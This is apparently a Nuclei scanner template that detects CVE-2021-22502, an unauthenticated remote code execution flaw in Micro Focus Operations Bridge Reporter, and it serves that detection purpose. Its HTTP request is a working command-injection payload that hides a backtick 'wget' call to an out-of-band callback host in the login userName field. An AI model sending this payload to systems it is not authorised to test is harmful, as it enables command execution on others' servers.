Micro Focus Operations Bridge Reporter - Remote Code Execution

id: CVE-2021-22502

info:
  name: Micro Focus Operations Bridge Reporter - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the Operations Bridge Reporter server, leading to complete system compromise and access to all monitoring data.
  remediation: |
    Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
    - https://softwaresupport.softwaregrp.com/doc/KM03775947
    - https://www.zerodayinitiative.com/advisories/ZDI-21-153/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22502
    - https://www.zerodayinitiative.com/advisories/ZDI-21-154/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22502
    cwe-id: CWE-78
    epss-score: 0.9674
    epss-percentile: 0.99877
    cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microfocus
    product: operation_bridge_reporter
  tags: cve2021,cve,microfocus,obr,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /AdminService/urest/v1/LogonResource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"userName":"something `wget {{interactsh-url}}`","credential":"whatever"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "An error occurred"
          - "AUTHENTICATION_FAILED"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 401
# digest: 4a0a00473045022054e26ff7a0c7d4e0811e6afeff1b63dc208357b1046186322fc796fee765bbd102210086d62cc5f949c780f964521f5f5e58928d3361f8a7441bfe1e93a76b9a22e68f:922c64590222798bb761d5b6d8e72950